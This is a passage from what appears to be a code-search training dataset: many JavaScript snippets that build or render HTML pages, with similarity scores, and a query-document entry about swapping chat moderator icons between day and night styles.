(mostRecentJSDate.getTime() > cssMostRecentDate.getTime()) {\n cssMostRecentDate = mostRecentJSDate;\n }\n // FIXME: publishHtml does not depend on jquery (important?)\n checkOlderOrInvalid(\n path.join(options.dstFolder, details.name + '.html'),\n cssMostRecentDate,\n function (err, older) {\n if (older) {\n publishHtml(\n options,\n details,\n packageMap,\n deps,\n cssFileMap,\n cb\n );\n } else {\n cb(err);\n }\n }\n );\n } else {\n // no package.html to generate\n cb(null);\n }\n}", "function createWebsite() {\n\n fs.writeFile('./dist/index.html', generateTeamHtml(allEmployees), (err) =>\n err ? console.error(err) : console.log('Team HTML File Generated!'));\n console.log('The file has been saved!')\n console.log(allEmployees[1].school);\n}", "function renderHomePage(name) {\n\tres.write(\"<html><head><title>Home</title></head>\");\n\tres.write(\"<body>\")\n\tres.write(\"<h1>This is the home page</h1>\");\n\tres.write(\"<h2>Welcome \" + name + \"</h2>\");\n\tres.write(\"</body></html>\");\n\tres.end();\n\t\n}", "saveAsHtml() {\n var html = `<!DOCTYPE html>\n <html>\n ${document.head.outerHTML}\n ${document.body.outerHTML}\n </html>`.replace(/src *= *\"scripts\\\\/gi, 'src=\"file://' + controller.resourcesDirectory + '\\\\scripts\\\\')\n .replace(/href *= *\"styles\\\\/gi, 'href=\"file://' + controller.resourcesDirectory + '\\\\styles\\\\')\n .replace(/src *= *\"images\\\\/gi, 'src=\"file://' + controller.resourcesDirectory + '\\\\images\\\\')\n .replace(/<!--<NAV_BAR>-->[^]+<!--<\\/NAV_BAR>-->/, '');\n controller.saveHtml(html);\n }", "function doGet() {\n \n var docText = htmlContent();\n return HtmlService.createHtmlOutput(docText);\n}", "function printHTML() {\n\t\tif (notReady()) { return; }\n\t\t\n\t\t// Preserve formatting for white spaces, etc.\n\t\tvar colA = fixHTML('<h2>* QZ Print Plugin HTML Printing *</h2>');\n\t\tcolA = colA + '<color=red>Version:</color> ' + qz.getVersion() + '<br />';\n\t\tcolA = colA + '<color=red>Visit:</color> http://code.google.com/p/jzebra';\n\t\t\n\t\t// HTML image\n\t\tvar colB = '<img src=\"' + getPath() + 'img/image_sample.png\">';\n\t\t\n //qz.setCopies(3);\n\t\tqz.setCopies(parseInt(document.getElementById(\"copies\").value));\n \n\t\t// Append our image (only one image can be appended per print)\n\t\tqz.appendHTML('<html><table face=\"monospace\" border=\"1px\"><tr height=\"6cm\">' + \n\t\t'<td valign=\"top\">' + colA + '</td>' + \n\t\t'<td valign=\"top\">' + colB + '</td>' + \n\t\t'</tr></table></html>');\n \n\t\tqz.printHTML();\n\t}", "renderHTML() {\n fs.readFile('template/main.html', 'utf8', (err, htmlString) => {\n \n htmlString = htmlString.split(\"<script></script>\").join(this.getScript());\n\n fs.writeFile('output/index.html', htmlString, (err) => {\n // throws an error, you could also catch it here\n if (err) throw err;\n // success case, the file was saved\n \n });\n \n });\n\n }", "function generateHTML(data) {\n return `<!DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Team Profile Generator</title>\n <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css\" rel=\"stylesheet\"\n integrity=\"sha384-eOJMYsd53ii+scO/bJGFsiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbzKgwra6\" crossorigin=\"anonymous\">\n <link rel=\"stylesheet\" href=\"./assets/style.css\">\n <script src=\"https://kit.fontawesome.com/05e62abe87.js\" crossorigin=\"anonymous\"></script>\n</head>\n\n<body>\n <header class=\"bg-danger text-white text-center\">\n My Team\n </header>\n <section class=\"row row-cols-3 display: block justify-content-center mt-5\">\n ${generateManagerCard(data)}\n ${generateEngineerCard(data)}\n ${generateInternCard(data)}\n </section>\n <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/js/bootstrap.bundle.min.js\"\n integrity=\"sha384-JEW9xMcG8R+pH31jmWH6WWP0WintQrMb4s7ZOdauHnUtxwoG2vI5DkLtS3qm9Ekf\"\n crossorigin=\"anonymous\"></script>\n</body>\n\n</html>`\n}", "function generatePage(tab){\n\t\t\tif (tab == \"education\"){\n\t\t\t\tcurrent_embedded_tab = \"total\";\n\t\t\t\ttyperfunction(defaultuniversity, 'university', 2, function() {\n\t\t\t\t\tregister_embeddedevents(module_results)\n\t\t\t\t})();\n\t\t\t\ttyperfunction(alevels, 'alevel',10)();\n\t\t\t\ttyperfunction(gcses, 'gcses',10)();\n\t\t\t}\n\t\t\telse if (tab == \"about\"){\n\t\t\t\ttyperfunction(about, 'about-info',5)();\n\t\t\t\ttyperfunction(biography, 'biography', 5)();\n\t\t\t}\n\t\t\telse if (tab == \"contact\"){\n\t\t\t\ttyperfunction(contact, 'contact-info',5,register_contactevents)();\n\t\t\t}\n\t\t\telse if (tab == \"experience\"){\n\t\t\t\tcurrent_embedded_tab = \"warwicktech\";\n\t\t\t\ttyperfunction(defaultexperience, 'experience-content', 1, function(){\n\t\t\t\t\tregister_embeddedevents(experiences)\n\t\t\t\t})();\n\t\t\t}\n\t\t\telse if (tab == \"projects\"){\n\t\t\t\tcurrent_embedded_tab = \"year4\";\n\t\t\t\ttyperfunction(defaultproject, 'project-content', 1, function(){\n\t\t\t\t\tregister_embeddedevents(projects)\n\t\t\t\t})();\n\t\t\t}\n\t\t\telse if (tab == \"loading\"){\n\t\t\t\tfillLoadingBar(34,100)();\n\t\t\t\ttyperfunction(terminal_info, 'terminal-info', 10)();\n\t\t\t\ttyperfunction(boot_text,'boot-loading', 10)();\n\t\t\t\ttyperfunction(boot_progress, 'boot-progress',100, loadSplashScreen)();\n\t\t\t}\n\t\t\telse if (tab == \"splash\"){\n\t\t\t\ttyperfunction(splash_text, \"splash-text\",50)();\n\t\t\t}\n\t\t}", "function createHTML(data, appdataFolder) {\n\t// find out what we should do with something (just an example)\n\task(\"Enter something we can use\", /.+/, function(something) {\n\t\tvar html = \"<html><head><title>Title</title></head><body><h1>Click the link!</h1>\";\n\n\t\t// more html goes here\n\t\t// parse the data\n\n\t\thtml += \"</body></html>\";\n\n\t\t// write the file\n\t var tempFile = \"temp.html\";\n\t\tfs.writeFile(appdataFolder + tempFile, html, function(error) {\n\t if(error) {\n\t console.log(error);\n\t quit();\n\t } \n\n\t // wrote successfully\n\t else {\n\t launchInChrome(appdataFolder + tempFile);\n\t\t\t}\n\t\t});\n\t});\n}", "function buildTeamHtml() {\n if (!fs.existsSync(OUTPUT_DIR)) {\n fs.mkdirSync(OUTPUT_DIR);\n }\n fs.writeFileSync(outputPath, render(teamMembersArr), 'utf8');\n}", "function build_page(){\n\t\t\tfor ( var key in sitemap.pages ) {\n\t\t\t\tvar site_obj = sitemap;\n\t\t\t\tvar page_obj = site_obj.pages[ key ];\n\n\t\t\t\tif ( page_obj.file !== false ) {\n\t\t\t\t\tvar sourceFile = \"test/preprocess/\" + page_obj.template + \".tmpl\";\n\t\t\t\t\tvar root = page_obj.file_root.replace( new RegExp( \"[\\/]+$\", \"g\" ), \"\" );\n\t\t\t\t\tvar page = page_obj.file || page_obj.nav_key + \".html\";\n\t\t\t\t\tvar targetFile = root + \"/\" + page;\n\t\t\t\t\tvar content = fs.readFileSync( sourceFile, \"utf8\" );\n\n\t\t\t\t\tsite_obj.current_page = page;\n\t\t\t\t\tsite_obj.current_build = page_obj.nav_key;\n\n\t\t\t\t\tvar tmpl = new nunjucks.Template( content, env );\n\t\t\t\t\tvar res = tmpl.render( site_obj );\n\n\t\t\t\t\tgrunt.log.writeln( \"building \" + targetFile );\n\t\t\t\t\tfs.writeFile( targetFile, res );\n\t\t\t\t}\n\t\t\t}\n\t\t}", "function _generateHeaderReport() {\n\n\tthis.htmlFile.writeln( \"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Transitional//EN\\\" \\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\\\">\");\n this.htmlFile.writeln( \"<html xmlns=\\\"http://www.w3.org/1999/xhtml\\\" >\");\n\tthis.htmlFile.writeln( \"<head>\");\n\tthis.htmlFile.writeln( \" <title>KPI Report</title>\");\n\tthis.htmlFile.writeln( \"</head>\");\n\tthis.htmlFile.writeln( \"<style type=\\\"text/css\\\"></style>\");\n\tthis.htmlFile.writeln( \"<body>\");\n\t\n\tthis.htmlFile.writeln( \"<p>KPI report</p>\" );\n\n\t\n}", "function generateHTML(team){\n console.log('team',team);\n let html = render(team);\n console.log('html',html);\n if(html){\n console.log('Try', typeof z);\n renderHTML(html);\n }\n\n}", "function PrintHtml(o) {\n\n var htmlEle = replaceNull(o[\"data\"], \"\"),\n prerequisite = replaceNull(o[\"preData\"], \"\"),\n printTitle = replaceNull(o[\"title\"], \"\"),\n printDelay = replaceNull(o[\"delay\"], 2000);\n\n if (!replaceNull(htmlEle)) {\n console.warn(\"-NO ELEMENT TO PRINT/PDF-\");\n }\n\n //THIS IS REQUIRED AS PAGE TAKES TIME TO RENDER IN SOME BROWSERS LIKE CHROME\n if (printDelay === undefined || printDelay === NaN) {\n printDelay = 3000;\n }\n\n //window.open(URL,name,specs,replace) ::MORE INFO:http://www.w3schools.com/jsref/met_win_open.asp\n var mywindow = window.open(\"\", \"_blank\", \"height=800,width=785,left=0,top=5,resizable=0\");\n mywindow.document.write(prerequisite);\n\n mywindow.document.write(\"<html><head><title>\" + replaceNull(printTitle, \"\") + \"</title>\");\n mywindow.document.write(\"</head><body >\");\n\n var htmlToPrint = htmlEle;\n\n mywindow.document.write(htmlToPrint);\n\n mywindow.document.write(\"</body></html>\");\n\n mywindow.document.close(); // necessary for IE >= 10\n mywindow.focus(); // necessary for IE >= 10\n\n\n setTimeout(function () {\n mywindow.print();\n }, printDelay);\n\n //mywindow.close();\n\n return true;\n}", "function buildHTML() {\n //initialize html\n html = \"\";\n\n for(var i=0; i<elements.length; i++) {\n switch(elements[i].type) {\n case 'title':\n buildTitle(elements[i].options);\n break;\n case 'header':\n buildHeader(elements[i].options);\n break;\n case 'img-one':\n buildImageOne(elements[i].options);\n break;\n case 'img-two':\n buildImageTwo(elements[i].options);\n break;\n case 'img-three':\n buildImageThree(elements[i].options);\n break;\n case 'article-right':\n buildArticleRight(elements[i].options);\n break;\n case 'article-left':\n buildArticleLeft(elements[i].options);\n break;\n case 'text' :\n buildText(elements[i].options);\n break;\n \n }\n }\n buildEnd();\n\n document.getElementById('HTML').innerText = `${html}`;\n}", "function generateWebpage() {\n\t// Check if the inputs are even showing, if not display them\n\tif (document.getElementById('input-hider').style.display == '' || document.getElementById('input-hider').style.display == 'none') {\n\t\tdocument.getElementById('input-hider').style.display = 'block';\n\t\tdocument.getElementById('input-hider-button').style.display = 'inline-flex';\n\t} else {\n\t\t// Grab the entered info\n\t\tvar name = document.getElementById('enter-name').value\n\t\tvar dob = document.getElementById('dob').value.split('-');\n\n\t\t// Validate that all information is added\n\t\t// If any information is missing, change that input slot to red and exit the function\n\t\tif (!validateInfo([name, ...dob])) {\n\t\t\tArray.from(document.getElementsByTagName('input')).forEach(element => {\n\t\t\t\tif (element.value == '')\n\t\t\t\t\telement.style.borderColor = 'red';\n\t\t\t\telse\n\t\t\t\t\telement.style.borderColor = 'rgb(66,66,66)';\n\t\t\t});\n\t\t\treturn;\n\t\t} \n\n\t\t// Redirect to the custom page\n\t\twindow.location.href = `?name=${name}&date=${dob[1]}%${dob[2]}%${dob[0]}`;\n\t}\n}", "function _buildHTMLBody(model) {\n\n\t//load the template source\n\tvar source = dc.readFileSync(__dirname + '/../assets/templates/employee_sales_report_text.htm')\n\t\n\t//compile the template source into an HB template\n\tvar template = hb.compile(source);\n\t\n\t//register the helpers\n\t//average hourly sales\n\thb.registerHelper(\"dollar_converter\", function(number) {\n\t\treturn (number / 100).toFixed(2); \n\t});\n\n\thb.registerHelper(\"to_fixed\", function(number) {\n\t\treturn number.toFixed(2); \n\t});\n\n\t//add the data to the template\n\tvar data = model;\n\t\n\t//render the results\n\tvar result = template(data);\n\n\t//return the text body\n\treturn result;\n}", "function generate_html_for_programme(j,n,id){\n\n var pid=j[\"pid\"];\n var video = j[\"video\"];\n var title=j[\"title\"];\n if(!title){\n title = j[\"core_title\"];\n }\n var img=j[\"image\"];\n if(!img){\n img=j[\"depiction\"];\n }\n var manifest=j[\"manifest\"];\n var more=j[\"more\"];\n var explanation=j[\"explanation\"];\n var desc=j[\"description\"];\n var classes= j[\"classes\"];\n var is_live = false;\n if(j[\"live\"]==true || j[\"live\"]==\"true\" || j[\"is_live\"]==true || j[\"is_live\"]==\"true\"){\n is_live = true;\n }\n var service = j[\"service\"];\n//@@not sure about this\n var channel = j[\"channel\"];\n if(channel && is_live){\n img = \"channel_images/\"+channel.replace(\" \",\"_\")+\".png\";\n }\n\n\n var html = [];\n html.push(\"<div id=\\\"\"+id+\"\\\" pid=\\\"\"+pid+\"\\\"\");\n html.push(\" is_live=\\\"\"+is_live+\"\\\"\");\n\n if(video){\n html.push(\" href=\\\"\"+video+\"\\\"\");\n }\n if(service){\n html.push(\" service=\\\"\"+service+\"\\\"\");\n }\n if(manifest){\n html.push(\" manifest=\\\"\"+manifest+\"\\\"\");\n }\n if(classes){\n html.push(\"class=\\\"\"+classes+\"\\\">\");\n }else{\n html.push(\"class=\\\"ui-widget-content button programme open_win\\\">\");\n }\n html.push(\"<div class='img_container'><img class=\\\"img\\\" src=\\\"\"+img+\"\\\" />\");\n html.push(\"</div>\");\n if(is_live){\n html.push(\"Live: \");\n\n }else{\n }\n html.push(\"<span class=\\\"p_title p_title_small\\\"><a href='http://www.bbc.co.uk/programmes/\"+pid+\"'>\"+title+\"</a></span>\");\n html.push(\"<br /><div clear=\\\"both\\\"></div>\");\n if(n){\n html.push(\"<span class=\\\"shared_by\\\">Shared by \"+n+\"</span>\");\n }\n if(desc){\n html.push(\"<span class=\\\"description large\\\">\"+desc+\"</span>\");\n }\n\n if(explanation){\n\n //string.charAt(0).toUpperCase() + string.slice(1);\n explanation = explanation.replace(/_/g,\" \");\n var exp = explanation.replace(/,/g,\" and \");\n\n html.push(\"<br /><span class=\\\"explain_small\\\">Matches <i>\"+exp+\"</i> in your Beancounter profile</span>\");\n\n }\n html.push(\"</div>\");\n return html\n}", "function generateFinalPage(){\n //grabs current score and number of questions\n const picture = generateFinalImg();\n return `\n <h1 class=\"results\" role=\"heading\">You scored ${store.score} out of ${Object.values(store.questions).length} correct!</h1>\n ${picture}\n <button id=\"try-again\" type=\"submit\" role=\"button\">Continue</button>`;\n}", "function pushAnswersToRender(employees) {\ntry {\n fs.writeFileSync('index.html', generateFile(employees));\n console.log('Success! Your team profiles page has been created!');\n //console.log(employees);\n } catch (error) {\n console.log(error);\n };\n}", "function renderPageForBots() {\n\n /* Fill the body content with either a blog-index, post or page. */\n if (gsConfig.blogIndexIsActive()) {\n\n /* use the sitemap instead of the blog index */\n var gsSitemap = new Sitemap(gsConfig);\n PrettyMarkdownTextToHTML(gsSitemap.links(), gs_body_id);\n\n } else if (gsConfig.postIsActive()) {\n /* If a post was found in the url query. */\n MarkdownFileToBody(gs_post_path+'/'+gsConfig.requested_page);\n\n /* render previous and next links */\n var gsPagination = new PageNav(gsConfig);\n gsPagination.genPostNavListTags();\n\n } else {\n /* The active page needs to correspond to a file at this point so \n * that the getter can download it. The getter should be post aware.*/\n MarkdownFileToBody(gsConfig.requested_page); \n }\n\n /* render the simple sitemap */\n if (gsConfig.sitemapIsActive()) {\n var gsSitemap = new Sitemap(gsConfig);\n PrettyMarkdownTextToHTML(gsSitemap.links(), gs_body_id);\n }\n\n /* Fill the body content with either a blog-index, post or page. */\n /* fill in the navbar */\n var gsNav = new Nav(gsConfig);\n \n}", "function createPage() {\r\n\r\n clearSection(setPoolSize);\r\n clearSection(setPlayerNames);\r\n clearSection(setRatings);\r\n clearSection(playerPool);\r\n clearSection(generator);\r\n clearSection(prepTeam);\r\n\r\n homeTeam.className = \"col card bg-light border-dark\";\r\n awayTeam.className = \"col card bg-light border-dark\";\r\n \r\n populateSection(homeTeam, \"H3\", \"Home Team\");\r\n home.forEach((home)=>populateSection(homeTeam, \"P\", home.getName() + \" / \" + home.getRating() ));\r\n populateSection(homeTeam, \"H4\", \"Rating: \" + homeScore)\r\n \r\n populateSection(awayTeam, \"H3\", \"Away Team\");\r\n away.forEach((away)=>populateSection(awayTeam, \"P\", away.getName() + \" / \" + away.getRating() ));\r\n populateSection(awayTeam, \"H4\", \"Rating: \" + awayScore);\r\n\r\n reset.focus();\r\n }", "toHTML ( theMode, sigDigs , params) {}", "function buildFile(array) {\n let cards = ''\n let pageData = pageTemplate;\n array.forEach(employee => {\n switch (employee.getRole()) {\n case 'Manager':\n cards += buildManager(employee.name, employee.id, employee.email, employee.officeNumber);\n break;\n case 'Engineer':\n cards += buildEngineer(employee.name, employee.id, employee.email, employee.github);\n break;\n case 'Intern':\n cards += buildIntern(employee.name, employee.id, employee.email, employee.school);\n break;\n default:\n break;\n }\n });\n pageData = pageData.replace('{{{Cards}}}', cards)\n fs.writeFile('index.html', pageData, (err) =>\n err ? console.error(err) : console.log('Your File has been succesfully created!, it is called index.html')\n )\n}", "function createTemplate (data) {\n var htmlTemplate = `\n <!DOCTYPE html>\n <html>\n <head>\n <title>Authors</title>\n </head>\n <body>\n ${data}\n </body>\n </html>\n `;\n return htmlTemplate;\n}", "function render(){ \n console.log('`render function` ran');\n const createdHtml = generateHtml(STORE); \n $('main').html(createdHtml);\n}", "function buildTeamPage(){\nconst data = render(teamMembers);\n\nfs.writeFile(outputPath, data, (err) => {\n if (err) throw err;\n console.log('The file has been saved!');\n});\n}", "async genTableHTML(){\n\n return await ejs.renderFile(\"./src/table.ejs\",{\n header: this.header, rows: this.rows})\n \n }", "function render() {\n let bigString;\n console.log('render fxn ran')\n if (store.view === 'landing') {\n bigString = generateTitleTemplate(store);\n\n }\n else if (store.view === 'question') {\n bigString = generateQuestionTemplate(store);\n\n }\n else if (store.view === 'feedback') {\n bigString = generateFeedbackTemplate(store)\n\n }\n else if (store.view === 'results') {\n bigString = generateResultsTemplate(store);\n\n }\n $('main').html(bigString);\n\n //attach event listeners\n\n\n}", "function sendBack(html) {\n\n const tmpl = jsr.templates('./public/views/report.html');\n\n // Build the template with jsrender and send to client.\n res.type('text/html').send(tmpl.render({\n dir: env.path,\n title: env.workspace.title || 'GEOLYTIX | XYZ',\n nanoid: nanoid(6),\n token: req.query.token || token.signed || '\"\"',\n template: html || null,\n script_js: 'views/report.js'\n }));\n }", "function createHTML() {\n $(\".container\").append(\" <header>\\n <nav class=\\\"navbar navbar-expand-lg navbar-dark bg-primary\\\">\\n <button class=\\\"navbar-toggler\\\" type=\\\"button\\\" data-toggle=\\\"collapse\\\" data-target=\\\"#navbarNavAltMarkup\\\" aria-controls=\\\"navbarNavAltMarkup\\\" aria-expanded=\\\"false\\\" aria-label=\\\"Toggle navigation\\\">\\n <span class=\\\"navbar-toggler-icon\\\"></span>\\n </button>\\n <div class=\\\"collapse navbar-collapse\\\" id=\\\"navbarNavAltMarkup\\\">\\n <div class=\\\"navbar-nav\\\">\\n <a class=\\\"nav-item nav-link\\\" id = \\\"home\\\" href=\\\"#\\\">Home</a>\\n <a class=\\\"nav-item nav-link\\\" id =\\\"all\\\" href=\\\"#\\\">Space</a>\\n <a class=\\\"nav-item nav-link\\\" id =\\\"newLocation\\\" href=\\\"#\\\">Add Locations</a>\\n\\n </div>\\n </div>\\n </nav>\\n \\n <br>\\n <h1 id=title> Space<br>Travel </h1>\\n <h3 style=\\\"color:lightgreen\\\">\" + user.user + \" online</h3>\\n <hr>\\n <content class=\\\"cont\\\">\\n </content>\\n </header><!-- /header -->\\n <main>\\n <content class=\\\"cont0\\\">\\n </content>\\n <div class=\\\"typewriter\\\">\\n <content class=\\\"cont1\\\">\\n </content></div>\\n </main>\\n <footer class=\\\"page-footer font-small blue\\\">\\n\\n \\t\\t<div class=\\\"text-center py-3\\\" >\\n \\t\\t<p style: \\\"color: blue\\\">\\u00A9 2019 Copyright: Philipp<p>\\n \\t\\t</div>\\n\\t\\t</footer>\");\n yx();\n }" ]
[ "0.7091054", "0.7059532", "0.6994545", "0.69869536", "0.69744533", "0.68693674", "0.6862557", "0.6838653", "0.68218684", "0.67602414", "0.67504114", "0.6699775", "0.66817456", "0.6660701", "0.65851974", "0.6571221", "0.6556314", "0.65174174", "0.64564687", "0.6417562", "0.636544", "0.6338824", "0.6313309", "0.6298889", "0.62950206", "0.6277242", "0.6262185", "0.6260731", "0.6224176", "0.6211364", "0.6187957", "0.61839795", "0.61786026", "0.6177463", "0.6176755", "0.6175365", "0.6170886", "0.61657804", "0.6145884", "0.6144456", "0.61249495", "0.61241674", "0.61179495", "0.6114928", "0.60878646", "0.6084837", "0.6065537", "0.6062254", "0.6059673", "0.60461766", "0.6023997", "0.6016465", "0.5998409", "0.5993209", "0.59798133", "0.59788054", "0.59717494", "0.59682816", "0.5967709", "0.5961247", "0.5952973", "0.5951077", "0.59458697", "0.5940446", "0.59358627", "0.59333444", "0.5931313", "0.59240746", "0.5923325", "0.59212816", "0.5919897", "0.5902565", "0.5896425", "0.58930075", "0.58911955", "0.588941", "0.5887019", "0.58850396", "0.58849525", "0.5884682", "0.5879459", "0.58791804", "0.58783257", "0.58745235", "0.5866254", "0.586205", "0.58594805", "0.585882", "0.5857893", "0.58540213", "0.58476055", "0.58449656", "0.58319706", "0.5829983", "0.5819045", "0.5815259", "0.5806948", "0.5798979", "0.5785138", "0.57847893", "0.577717" ]
0.0
-1
Translates the list format produced by cssloader into something easier to manipulate.
function listToStyles (parentId, list) { var styles = [] var newStyles = {} for (var i = 0; i < list.length; i++) { var item = list[i] var id = item[0] var css = item[1] var media = item[2] var sourceMap = item[3] var part = { id: parentId + ':' + i, css: css, media: media, sourceMap: sourceMap } if (!newStyles[id]) { styles.push(newStyles[id] = { id: id, parts: [part] }) } else { newStyles[id].parts.push(part) } } return styles }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function listToStyles(parentId, list) {\n var styles = [];\n var newStyles = {};\n\n for (var i = 0; i < list.length; i++) {\n var item = list[i];\n var id = item[0];\n var css = item[1];\n var media = item[2];\n var sourceMap = item[3];\n var part = {\n id: parentId + ':' + i,\n css: css,\n media: media,\n sourceMap: sourceMap\n };\n\n if (!newStyles[id]) {\n styles.push(newStyles[id] = {\n id: id,\n parts: [part]\n });\n } else {\n newStyles[id].parts.push(part);\n }\n }\n\n return styles;\n }", "function listToStyles (parentId, list) {\n var styles = []\n var newStyles = {}\n for (var i = 0; i < list.length; i++) {\n var item = list[i]\n var id = item[0]\n var css = item[1]\n var media = item[2]\n var sourceMap = item[3]\n var part = {\n id: parentId + ':' + i,\n css: css,\n media: media,\n sourceMap: sourceMap\n }\n if (!newStyles[id]) {\n styles.push(newStyles[id] = { id: id, parts: [part] })\n } else {\n newStyles[id].parts.push(part)\n }\n }\n return styles\n }" ]
[ "0.63060075", "0.6300543" ]
0.0
-1
globals __VUE_SSR_CONTEXT__ IMPORTANT: Do NOT use ES2015 features in this file (except for modules). This module is a runtime utility for cleaner component module output and will be included in the final webpack user bundle.
function normalizeComponent ( scriptExports, render, staticRenderFns, functionalTemplate, injectStyles, scopeId, moduleIdentifier, /* server only */ shadowMode, /* vue-cli only */ components, // fixed by xxxxxx auto components renderjs // fixed by xxxxxx renderjs ) { // Vue.extend constructor export interop var options = typeof scriptExports === 'function' ? scriptExports.options : scriptExports // fixed by xxxxxx auto components if (components) { if (!options.components) { options.components = {} } var hasOwn = Object.prototype.hasOwnProperty for (var name in components) { if (hasOwn.call(components, name) && !hasOwn.call(options.components, name)) { options.components[name] = components[name] } } } // fixed by xxxxxx renderjs if (renderjs) { (renderjs.beforeCreate || (renderjs.beforeCreate = [])).unshift(function() { this[renderjs.__module] = this }); (options.mixins || (options.mixins = [])).push(renderjs) } // render functions if (render) { options.render = render options.staticRenderFns = staticRenderFns options._compiled = true } // functional template if (functionalTemplate) { options.functional = true } // scopedId if (scopeId) { options._scopeId = 'data-v-' + scopeId } var hook if (moduleIdentifier) { // server build hook = function (context) { // 2.3 injection context = context || // cached call (this.$vnode && this.$vnode.ssrContext) || // stateful (this.parent && this.parent.$vnode && this.parent.$vnode.ssrContext) // functional // 2.2 with runInNewContext: true if (!context && typeof __VUE_SSR_CONTEXT__ !== 'undefined') { context = __VUE_SSR_CONTEXT__ } // inject component styles if (injectStyles) { injectStyles.call(this, context) } // register component module identifier for async chunk inferrence if (context && context._registeredComponents) { context._registeredComponents.add(moduleIdentifier) } } // used by ssr in case component is cached and beforeCreate // never gets called options._ssrRegister = hook } else if (injectStyles) { hook = shadowMode ? function () { injectStyles.call(this, this.$root.$options.shadowRoot) } : injectStyles } if (hook) { if (options.functional) { // for template-only hot-reload because in that case the render fn doesn't // go through the normalizer options._injectStyles = hook // register for functioal component in vue file var originalRender = options.render options.render = function renderWithStyleInjection (h, context) { hook.call(context) return originalRender(h, context) } } else { // inject component registration as beforeCreate hook var existing = options.beforeCreate options.beforeCreate = existing ? [].concat(existing, hook) : [hook] } } return { exports: scriptExports, options: options } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function Es(t,e,n,i,r,o,a,s){var u=(\"function\"===typeof n?n.options:n)||{};return u.__file=\"source.vue\",u.render||(u.render=t.render,u.staticRenderFns=t.staticRenderFns,u._compiled=!0,r&&(u.functional=!0)),u._scopeId=i,u}", "extend(config, ctx) {\n // if (process.server && process.browser) {\n if (ctx.isDev && ctx.isClient) {\n config.devtool = \"source-map\";\n // if (isDev && process.isClient) {\n config.plugins.push(\n new StylelintPlugin({\n files: [\"**/*.vue\", \"**/*.scss\"],\n })\n ),\n config.module.rules.push({\n enforce: \"pre\",\n test: /\\.(js|vue)$/,\n loader: \"eslint-loader\",\n exclude: /(node_modules)/,\n options: {\n formatter: require(\"eslint-friendly-formatter\"),\n },\n });\n if (ctx.isDev) {\n config.mode = \"development\";\n }\n }\n for (const rule of config.module.rules) {\n if (rule.use) {\n for (const use of rule.use) {\n if (use.loader === \"sass-loader\") {\n use.options = use.options || {};\n use.options.includePaths = [\n \"node_modules/foundation-sites/scss\",\n \"node_modules/motion-ui/src\",\n ];\n }\n }\n }\n }\n // vue-svg-inline-loader\n const vueRule = config.module.rules.find((rule) =>\n rule.test.test(\".vue\")\n );\n vueRule.use = [\n {\n loader: vueRule.loader,\n options: vueRule.options,\n },\n {\n loader: \"vue-svg-inline-loader\",\n },\n ];\n delete vueRule.loader;\n delete vueRule.options;\n }" ]
[ "0.58472276", "0.5728634" ]
0.0
-1
Change mod icons depending on the time Written by Foodbandlt
function nighttime_moon() { var night = new Date(); var nighthour = night.getHours(); if (nighthour >= 19 || nighthour <= 6) { if ($('.User.chat-mod .username').hasClass("modday")) { $(".User.chat-mod .username").removeClass("modday"); $(".User.chat-mod .username").addClass("modnight"); } else { $(".User.chat-mod .username").addClass("modnight"); } } else { if ($('.User.chat-mod .username').hasClass("modnight")) { $(".User.chat-mod .username").removeClass("modnight"); $(".User.chat-mod .username").addClass("modday"); } else { $(".User.chat-mod .username").addClass("modday"); } } setTimeout(nighttime_moon, 60000); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function update_icon()\n {\n const icon = bookmarks.is_unlocked() ? \"unlocked-bookmarks.svg\" :\n \"locked-bookmarks.svg\";\n const path = `/icons/main/${icon}`;\n browser.browserAction.setIcon({\n path:\n {\n \"16\": path,\n \"32\": path,\n \"48\": path,\n \"64\": path,\n \"96\": path,\n \"128\": path,\n \"256\": path\n }\n });\n }", "updateDriveSpecificIcons() {}", "updateDriveSpecificIcons() {}", "function dateitypiconermittlung(dateiendung) {\n dateiendung = dateiendung.toLowerCase(); \n switch (dateiendung) {\n // Archive\n case \"7z\": icon = 'Archive/7zip'; break;\n case \"rar\": icon = 'Archive/rar'; break;\n case \"zip\": icon = 'Archive/zip'; break;\n // Audio\n case \"mp3\": icon = 'Audio/mp3'; break;\n case \"mid\": icon = 'Audio/mid'; break;\n case \"ogg\": icon = 'Audio/ogg'; break;\n case \"wav\": icon = 'Audio/wav'; break;\n case \"wma\": icon = 'Audio/wma'; break;\n case \"flac\": icon = 'Audio/flac'; break;\n case \"m4a\": icon = 'Audio/m4a'; break;\n // Bilder\n case \"bmp\": icon = 'Image/bmp'; break;\n case \"gif\": icon = 'Image/gif'; break;\n case \"jpg\": icon = 'Image/jpg'; break;\n case \"jpeg\": icon = 'Image/jpeg'; break;\n case \"png\": icon = 'Image/png'; break;\n case \"tif\": icon = 'Image/tif'; break;\n case \"eps\": icon = 'Image/eps'; break;\n case \"raw\": icon = 'Image/raw'; break;\n case \"psd\": icon = 'Image/psd'; break;\n // Office\n case \"csv\": icon = 'Office/csv'; break;\n case \"doc\": icon = 'Office/doc'; break;\n case \"docx\": icon = 'Office/docx'; break;\n case \"mdb\": icon = 'Office/mdb'; break;\n case \"mdbx\": icon = 'Office/mdbx'; break;\n case \"pdf\": icon = 'Office/pdf'; break;\n case \"ppt\": icon = 'Office/ppt'; break;\n case \"pptx\": icon = 'Office/pptx'; break;\n case \"vsd\": icon = 'Office/vsd'; break;\n case \"xls\": icon = 'Office/xls'; break;\n case \"xlsm\": icon = 'Office/xlsx'; break;\n case \"xlsx\": icon = 'Office/xlsx'; break;\n // Videos \n case \"avi\": icon = 'Video/avi'; break;\n case \"divx\": icon = 'Video/divx'; break;\n case \"flv\": icon = 'Video/flv'; break;\n case \"mkv\": icon = 'Video/mkv'; break;\n case \"mp4\": icon = 'Video/mp4'; break;\n 